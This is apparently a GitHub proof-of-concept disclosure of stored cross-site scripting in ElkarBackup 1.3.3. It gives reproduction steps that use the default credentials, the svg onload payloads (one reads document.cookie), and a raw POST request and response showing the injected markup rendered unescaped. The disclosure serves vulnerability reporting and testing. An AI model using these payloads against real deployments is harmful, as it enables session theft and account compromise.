new / XSS in ElkarBackup

sooraj24 Update XSS in ElkarBackup History

1 contributor

38 lines (27 sloc) | 2.38 KB

```
Stored Cross-site Scripting in ElkarBackup 1.3.3

Reproduction Steps:

1- Go to the elakarbackup/login
2- Login with default credentials
3 - Go to Policies >> Action >> Edit any of the existing Policies >> Insert XSS Payload in Paramter "Policy[name] and Policy[Description]"
4 - Click on Save
5 - We can see the Javacript Code executed Sucessfully

XSS Attack vectors :

"><svg/onload=alert(4)>

"><svg/onload=alert(document.cookie)>

Request :

POST /policy/1 HTTP/1.1
Host: ip172-18-0-31-bt0bt4iosm4g00dvca80-8000.direct.labs.play-with-docker.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 1123
Origin: http://ip172-18-0-31-bt0bt4iosm4g00dvca80-8000.direct.labs.play-with-docker.com
Connection: close
Referer: http://ip172-18-0-31-bt0bt4iosm4g00dvca80-8000.direct.labs.play-with-docker.com/policy/1?
Cookie: PHPSESSID=03e0bcfa5864ffe758916b5e171c1505
Upgrade-Insecure-Requests: 1

Policy%5Bname%5D=%22%3E%3Csvg%2Fonload%3Dalert%284%29%3E&Policy%5Bdescription%5D=%22%3E%3Csvg%2Fonload%3Dalert%284%29%3E&Policy%5BhourlyHours%5D=12%3A00%7C15%3A00%7C21%3A00&Policy%



Response :

<form data-bnv-message="Really delete policy "><svg/onload=alert(4)>?" class="delete-policy" action="/policy/1/delete" method="POST" style="display:inline">
```